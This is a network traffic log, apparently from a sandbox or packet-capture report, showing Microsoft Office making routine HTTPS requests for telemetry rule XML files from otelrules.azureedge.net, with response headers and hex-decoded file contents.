2024-11-22 00:03:12 UTC	1403	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 38 30 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 52 65 73 6f 75 72 63 65 73 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701801" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Resources.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantToken

Session ID	Source IP	Source Port	Destination IP	Destination Port
127	192.168.2.7	49872	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-22 00:03:12 UTC	192	OUT	GET /rules/rule703500v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-22 00:03:12 UTC	515	IN	HTTP/1.1 200 OK Date: Fri, 22 Nov 2024 00:03:12 GMT Content-Type: text/xml Content-Length: 1362 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:43 GMT ETag: "0x8DC582BDF497570" x-ms-request-id: 650b08ff-201e-0033-5b2f-3cb167000000 x-ms-version: 2018-03-28 x-azure-ref: 20241122T000312Z-178bfbc474bmqmgjhC1NYCy16c00000002bg000000001tnk x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-11-22 00:03:12 UTC	1362	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 33 35 30 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 53 61 6e 64 62 6f 78 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 53 61 6e 64 62 6f 78 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="703500" V="0" DC="SM" EN="Office.Telemetry.Event.Office.Sandbox" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenSandbox" S="Medium" /> <F T="2">

Session ID	Source IP	Source Port	Destination IP	Destination Port
128	192.168.2.7	49875	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-22 00:03:12 UTC	192	OUT	GET /rules/rule701800v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-22 00:03:12 UTC	515	IN	HTTP/1.1 200 OK Date: Fri, 22 Nov 2024 00:03:12 GMT Content-Type: text/xml Content-Length: 1366 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:28:01 GMT ETag: "0x8DC582BEA414B16" x-ms-request-id: 25bf86e9-c01e-007a-2c4f-3cb877000000 x-ms-version: 2018-03-28 x-azure-ref: 20241122T000312Z-15b8b599d885ffrhhC1TEBtuv000000000q000000000fmqu x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-11-22 00:03:12 UTC	1366	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 38 30 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 52 65 73 6f 75 72 63 65 73 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 52 65 73 6f 75 72 63 65 73 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701800" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Resources" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenResources" S="Medium" /> <F T="2

Session ID	Source IP	Source Port	Destination IP	Destination Port
129	192.168.2.7	49879	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-22 00:03:12 UTC	192	OUT	GET /rules/rule701051v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-22 00:03:12 UTC	515	IN	HTTP/1.1 200 OK Date: Fri, 22 Nov 2024 00:03:12 GMT Content-Type: text/xml Content-Length: 1399 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:47 GMT ETag: "0x8DC582BE1CC18CD" x-ms-request-id: 21476416-401e-00a3-1c88-3a8b09000000 x-ms-version: 2018-03-28 x-azure-ref: 20241122T000312Z-178bfbc474bq2pr7hC1NYCkfgg000000029g00000000fxnx x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-22 00:03:12 UTC	1399	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 30 35 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 52 65 6c 65 61 73 65 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 52 65 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701051" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Release.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenRe

Session ID	Source IP	Source Port	Destination IP	Destination Port
130	192.168.2.7	49880	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-22 00:03:12 UTC	192	OUT	GET /rules/rule701050v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-22 00:03:13 UTC	494	IN	HTTP/1.1 200 OK Date: Fri, 22 Nov 2024 00:03:13 GMT Content-Type: text/xml Content-Length: 1362 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:28:03 GMT ETag: "0x8DC582BEB256F43" x-ms-request-id: 1a99a412-f01e-0099-613c-3c9171000000 x-ms-version: 2018-03-28 x-azure-ref: 20241122T000313Z-174c587ffdfmrvb9hC1TEBtn3800000000sg000000000ax1 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-22 00:03:13 UTC	1362	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 30 35 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 52 65 6c 65 61 73 65 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 52 65 6c 65 61 73 65 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701050" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Release" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenRelease" S="Medium" /> <F T="2">

Session ID	Source IP	Source Port	Destination IP	Destination Port
131	192.168.2.7	49894	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-22 00:03:14 UTC	192	OUT	GET /rules/rule702300v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-22 00:03:15 UTC	515	IN	HTTP/1.1 200 OK Date: Fri, 22 Nov 2024 00:03:15 GMT Content-Type: text/xml Content-Length: 1362 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:37 GMT ETag: "0x8DC582BDC13EFEF" x-ms-request-id: c5eeb4a2-c01e-002b-3260-3c6e00000000 x-ms-version: 2018-03-28 x-azure-ref: 20241122T000315Z-15b8b599d88vp97chC1TEB5pzw00000000p00000000093mn x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-11-22 00:03:15 UTC	1362	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 33 30 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 50 72 6f 6a 65 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 50 72 6f 6a 65 63 74 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702300" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Project" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenProject" S="Medium" /> <F T="2">

Session ID	Source IP	Source Port	Destination IP	Destination Port
132	192.168.2.7	49893	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-22 00:03:14 UTC	192	OUT	GET /rules/rule702301v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-22 00:03:15 UTC	515	IN	HTTP/1.1 200 OK Date: Fri, 22 Nov 2024 00:03:15 GMT Content-Type: text/xml Content-Length: 1399 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:28:00 GMT ETag: "0x8DC582BE976026E" x-ms-request-id: 3b38473f-101e-007a-2bbc-3b047e000000 x-ms-version: 2018-03-28 x-azure-ref: 20241122T000315Z-15b8b599d88hd9g7hC1TEBp75c00000000r00000000029dp x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-11-22 00:03:15 UTC	1399	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 33 30 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 50 72 6f 6a 65 63 74 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 50 72 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702301" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Project.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenPr

Session ID	Source IP	Source Port	Destination IP	Destination Port
133	192.168.2.7	49890	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-22 00:03:14 UTC	192	OUT	GET /rules/rule702751v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-22 00:03:15 UTC	494	IN	HTTP/1.1 200 OK Date: Fri, 22 Nov 2024 00:03:15 GMT Content-Type: text/xml Content-Length: 1403 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:28:03 GMT ETag: "0x8DC582BEB866CDB" x-ms-request-id: bfe6e8fa-201e-006e-3f8c-3abbe3000000 x-ms-version: 2018-03-28 x-azure-ref: 20241122T000315Z-178bfbc474b9fdhphC1NYCac0n00000001zg00000000xqr9 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-22 00:03:15 UTC	1403	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 37 35 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 50 75 62 6c 69 73 68 65 72 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702751" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Publisher.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantToken

Session ID	Source IP	Source Port	Destination IP	Destination Port
134	192.168.2.7	49891	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-22 00:03:14 UTC	192	OUT	GET /rules/rule702750v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-22 00:03:15 UTC	515	IN	HTTP/1.1 200 OK Date: Fri, 22 Nov 2024 00:03:15 GMT Content-Type: text/xml Content-Length: 1366 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:54 GMT ETag: "0x8DC582BE5B7B174" x-ms-request-id: 852b0afa-d01e-00a1-0e9b-3b35b1000000 x-ms-version: 2018-03-28 x-azure-ref: 20241122T000315Z-174c587ffdfb74xqhC1TEBhabc00000000q000000000957g x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-22 00:03:15 UTC	1366	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 37 35 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 50 75 62 6c 69 73 68 65 72 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 50 75 62 6c 69 73 68 65 72 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702750" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Publisher" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenPublisher" S="Medium" /> <F T="2

Session ID	Source IP	Source Port	Destination IP	Destination Port
135	192.168.2.7	49896	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-22 00:03:14 UTC	192	OUT	GET /rules/rule703401v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-22 00:03:15 UTC	515	IN	HTTP/1.1 200 OK Date: Fri, 22 Nov 2024 00:03:15 GMT Content-Type: text/xml Content-Length: 1425 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:55 GMT ETag: "0x8DC582BE6BD89A1" x-ms-request-id: 95a88f05-701e-001e-7f87-3bf5e6000000 x-ms-version: 2018-03-28 x-azure-ref: 20241122T000315Z-15b8b599d882hxlwhC1TEBfa5w00000000dg000000005esh x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-11-22 00:03:15 UTC	1425	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 33 34 30 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 50 72 6f 67 72 61 6d 6d 61 62 6c 65 53 75 72 66 61 63 65 73 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="703401" V="0" DC="SM" EN="Office.Telemetry.Event.Office.ProgrammableSurfaces.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="Nexus

Session ID	Source IP	Source Port	Destination IP	Destination Port
136	192.168.2.7	49909	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-22 00:03:17 UTC	192	OUT	GET /rules/rule702500v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-22 00:03:17 UTC	494	IN	HTTP/1.1 200 OK Date: Fri, 22 Nov 2024 00:03:17 GMT Content-Type: text/xml Content-Length: 1378 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:36 GMT ETag: "0x8DC582BDB813B3F" x-ms-request-id: de9d050e-401e-0078-2067-3b4d34000000 x-ms-version: 2018-03-28 x-azure-ref: 20241122T000317Z-178bfbc474bv7whqhC1NYC1fg4000000025g00000000ekva x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-22 00:03:17 UTC	1378	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 35 30 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 50 72 6f 67 72 61 6d 6d 61 62 69 6c 69 74 79 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 50 72 6f 67 72 61 6d 6d 61 62 69 6c 69 74 79 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702500" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Programmability" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenProgrammability" S="Medium" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
137	192.168.2.7	49908	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-22 00:03:17 UTC	192	OUT	GET /rules/rule702501v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-22 00:03:17 UTC	515	IN	HTTP/1.1 200 OK Date: Fri, 22 Nov 2024 00:03:17 GMT Content-Type: text/xml Content-Length: 1415 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:57 GMT ETag: "0x8DC582BE7C66E85" x-ms-request-id: 150e742e-301e-0033-3994-3bfa9c000000 x-ms-version: 2018-03-28 x-azure-ref: 20241122T000317Z-15b8b599d88vp97chC1TEB5pzw00000000h000000000fbq1 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-11-22 00:03:17 UTC	1415	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 35 30 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 50 72 6f 67 72 61 6d 6d 61 62 69 6c 69 74 79 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702501" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Programmability.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenan

Session ID	Source IP	Source Port	Destination IP	Destination Port
138	192.168.2.7	49910	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
